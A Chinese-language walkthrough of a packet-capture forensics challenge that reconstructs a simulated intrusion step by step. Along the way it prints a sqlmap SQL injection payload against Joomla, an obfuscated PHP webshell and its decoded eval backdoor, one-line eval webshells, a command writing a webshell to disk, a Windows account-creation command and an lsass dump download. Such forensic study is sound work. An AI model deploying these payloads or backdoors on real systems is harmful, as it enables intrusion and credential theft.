忙里偷闲学习下流量分析,感谢飘零师傅的文章和流量包。

0x00 题目

1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

0x01 第一个数据包

1.黑客攻击的第一个受害主机的网卡IP地址

第一个数据包是jo_00001_20180207164555.pcap,打开数据包,按照Time排序后,因为数据量实在是太大了,先尝试过滤一下HTTP数据包:

1

可以发现有大量的来自202.1.1.2的主机向192.168.1.8的GET请求,因此192.168.1.8就是受害主机。

2.黑客对URL的哪一个参数实施了SQL注入

我们随便选择一条202.1.1.2 -> 192.168.1.8的数据包,跟踪一下tcp流看看:

2

发现User-Agentsqlmap,显然,攻击者用sqlmap对主机192.168.1.8进行sql注入爆破,对应的请求是:

1
/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=%28%27%29%20AND%20%28SELECT%202%2A%28IF%28%28SELECT%20%2A%20FROM%20%28SELECT%20CONCAT%280x71717a7671%2C%28SELECT%20%28ELT%281188%3D1188%2C1%29%29%29%2C0x71716b6b71%2C0x78%29%29s%29%2C%208446744073709551610%2C%208446744073709551610%29%29%29--%20eSkY

url解码后:

1
/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(1188=1188,1))),0x71716b6b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- eSkY

黑客是对URL的list[select]参数进行了sql注入。

3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)

然后对于第三个问题(第一个受害主机网站数据库的表前缀),我们再随机跟踪几个tcp流就能在response中发现:

3

所以第一个受害主机192.168.1.8网站数据库的表前缀是ajtuc_

4.第一个受害主机网站数据库的名字

接着需要找到192.168.1.8主机上的数据库的名称,但是跟了几个tcp流都没发现,所以又进行了进一步过滤,看看最后的爆破请求里面会不会有什么信息:

1
ip.src eq 202.1.1.2 and http contains sqlmap

返回的结果全是sqlmap的请求:

4

我们查看最后面几条请求,就可以发现注入的list[select]字段中包含数据库名,joomla

5

5. Joomla后台管理员的密码是多少

接下来要寻找joomla后台管理员的密码,进行如下过滤:

1
ip.src eq 202.1.1.2 and http contains password

结果返回5条信息,其中2条请求,3条get请求。我们当然先优先看一下POST请求数据:

6

第二个post请求包:

7

这两条记录的登录密码都不同,我们跟踪一下tcp流看下返回结果是什么:

8

response返回的HTML页面中有Warning:

1
Username and password do not match or you do not have an account yet.

说明这两条记录都不是答案。

然后再看一下get请求返回的结果,跟踪tcp流,发现爆出了qqzvq$2y$10$lXujU7XaUviJDigqqkkq

1
XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

9

所以对这三条tcp流都进行了tcp流跟踪,发现了:

1
2
3
4
5
// 第2条get请求
XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

// 第3get请求
XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

从这三条数据中,我们可以提取出:

1
2
3
4
5
CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71)

CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71)

CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71)

这三条查询中都有前缀0x71717a7671和后缀0x71716b6b71,对其进行解码,获得:

1
2
0x71717a7671 -> qqzvq
0x71716b6b71 -> qqkkq

所以对于前面的查询结果有:

1
2
3
qqzvq$2y$10$lXujU7XaUviJDigqqkkq -> $2y$10$lXujU7XaUviJDig
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq -> FMzKy6.wx7EMCBqpzrJdn7
qqzvqzi/8B2QRD7qIlDJeqqkkq -> zi/8B2QRD7qIlDJe

而且前面用了sql中的MID()函数,该函数会从字符串中提取指定长度的字串,如mid(a,b,c)表示从位置b开始,截取a字符串的c位,所以需要对上面的三条结果进行拼接,得到:

1
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe

Joomla肯定是对用户的密码进行加密,但是对于这个密码真的不知道是如何加密的,所以只能得到加密后的密码。

0x02 第二个数据包

6. 黑客第一次获得的php木马的密码是什么

打开第2个数据包,先进行下过滤:

1
ip.src eq 202.1.1.2 and http

10

过滤后我们就能看到四种请求:

1
2
3
4
GET /kkkaaa.php HTTP/1.1 
POST /kkkaaa.php HTTP/1.1 (application/x-www-form-urlencoded)
GET /index.php/component/users/ HTTP/1.1
GET /tmp/footer.php HTTP/1.1

我们跟进最可疑的第2条POST请求数据,可以看到这应该是用中国菜刀上传的:

11

所以黑客第一次获得的php木马的密码是zzz

7. 黑客第二次上传php木马是什么时间

接着看第4条post请求,发现里面有个参数z2是hex数据:

12

拿去解码可以得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>

先分析这段代码,最可疑的操作就是最后一行:

1
2
$N=$j('',$x);
$N();

可以看到$N就是由$j$x组成的。

见识太少,刚看到还有点懵…搜了一些资料之后才知道这是代码混淆。可以参看这位师傅的文章:

http://blog.evalbug.com/2017/09/21/phpdecode_01/

代码混淆主要是为了防止被一些Web防御软件查杀,像下面这段代码:

1
2
3
<?php
eval($_POST['cmd']);
?>

上面这段代码很容易就会被发现,因为包含eval关键字,所以有些时候时候可能会对关键字eval做一些处理,比如base64编码:

1
2
3
4
<?php
$aaa = base64_decode("ZXZhbA==");
$$aaa($_POST['cmd']);
?>

当然这只是最简单的变形,具体的可以参考其他博客:

https://security.tencent.com/index.php/blog/msg/19

有一些代码混淆可能会比较复杂,但这个混淆还是很简单的,总体来说就是用str_replace实现的,对于$j,感觉可以直接肉眼看出create_function,对于$x,可以直接var_dump看一下:

1
2
var_dump($j);
var_dump($x);

返回的结果是,$j确实是create_function,但是$x就不太清晰了:13

最后出现了...,搜索了下原因,原来var_dump是安装xdebug之后的函数,所以解决办法就是在php.ini文件的[xdebug]节点后面追加:

1
2
3
xdebug.var_display_max_children=128
xdebug.var_display_max_data=1024
xdebug.var_display_max_depth=5

其中xdebug.var_display_max_data就是设置最长可以显示多少个字符,设置后重启服务器。

将得到的结果格式化一下就能得到$x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

所以对于$N=$j('', $x); $N()就有

1
$N = create_function('', $x); $N();

所以基本这个应该就是黑客第二次上传的php木马,时间是2018-02-07 09:20:44.248365

8.第二次上传的木马通过HTTP协议中的哪个头传递数据

这道题没看出来,因为涉及到上面的小马,等以后有时间再来研究下吧。。。

0x03 第四个数据包 jo_00004_20180207174021.pcap

9. 内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

打开第4个数据包,我们要找内网主机的mysql用户名和请求连接的密码。

这一步需要了解的一个知识点就是用户在连接mysql时使用的网络协议,这个协议就是mysql协议。

所以直接过滤协议为mysql的流量就可以了:

1
mysql

14

看一下Info信息为Login Request user=admin的流量

15

可以看到里面包含UsernamePassword信息,但是这种请求很多,每次的密码hash值都不一样,而且跟踪一下tcp流我们可以看到提示Accsess denied for user 'admin'@'192.168.1.8'

16

这其实是黑客向主机192.168.1.8的mysql数据库发起的爆破,所以我们再进行一下过滤,过滤出该爆破的所有流量:

1
ip.src eq 192.168.1.8 and mysql

直接看最后一条有效请求:

17

跟踪一下tcp流,可以看到已经没有提示Access denied信息了,说明此时已经登录成功了:

18

所以登录账号是:admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

10 . php代理第一次被使用时最先连接了哪个IP地址

对于这个问题,简单进行一下过滤:

1
http and http.request.method == POST

19

从结果可以看到,最先连接的ip地址是4.2.2.2

0x04 第九个数据包 jo_00009_20180207183540.pcap

11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

因为要读取目录,一般linux下我们就用ls读取目录,在windows就用dir命令读取文件,所以进行一下简单过滤:

1
http contains "ls" or http contains "dir"

第三条数据中就包含命令ls,是向192.168.2.20主机发起的请求:

20

跟踪一下tcp流,发现并没有成功执行:

21

所以看一下第2条数据,使用的命令是dir

22

跟踪tcp流,可以发现命令被执行了:

23

所以黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在2018-02-07 10:36:59.770782

12.黑客在内网主机中添加的用户名和密码是多少

上面一道题我们已经知道,黑客是在ip地址为192.168.2.20的windows主机上执行的命令,所以过滤一下该主机:

1
ip.addr == 192.168.2.20 && http

24

urldecode之后是

1
0=system&1=echo "<?php eval($_POST[123]);?>" > sh.php

是通过echo将一句话木马写入了sh.php。然后应该是通过sh.php向windows主机192.168.2.20添加用户,所以我们过滤一下:

1
ip.dst == 192.168.2.20 && http

但是查看了一些这些流量,没发现什么有价值的东西,所以我们可以看看从192.168.2.20返回的数据包中会不会有什么可用的信息:

1
ip.src == 192.168.2.20 && http

10:50:42.908737这时从192.168.2.20主机返回的数据包里有用户kaka的信息:

25

但是不能就这样下结论说这就是新添加的用户,所以再过滤一下:

1
ip.addr == 192.168.2.20 && http

我们看一下这个时间节点10:50:42.908737之前发生了什么事情,这是主机192.168.1.8被黑客控制后向windows主机192.168.2.20通过sh.php发起的POST请求:

26

我们对这个POST请求参数z2进行base64解码,得到:

1
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user&echo [S]&cd&echo [E]

这里的net user是在windows上添加用户的命令,如net user aaa 123456就能创建一个密码为123456aaa用户。

但是这里并没有说明用户kaka被添加了,看一下前几条POST请求,在10:49:48.830665192.168.1.8192.168.2.20发送的post请求中,终于看到了我们想要看到的信息:

27

解码后得到:

1
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

此时就可以确定黑客向内网主机添加的用户是kaka,密码是kaka

13.黑客从内网服务器中下载下来的文件名

既然受害主机是192.168.2.20,所以对向该主机发送的请求进行过滤,而且黑客应该是利用中国菜刀进行的下载,所以我们只过滤出POST流量:

1
ip.dst == 192.168.2.20 && http.request.method == POST

我们直接看最后一条流量

28

1
QzpccGhwU3R1ZHlcV1dXXGIyZXZvbHV0aW9uXGluc3RhbGxcdGVzdFxsc2Fzcy5leGVfMTgwMjA4XzE4NTI0Ny5kbXA=

base64解码后得到:

1
C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

所以黑客从内网服务器中下载下来的文件名是lsass.exe_180208_185247.dmp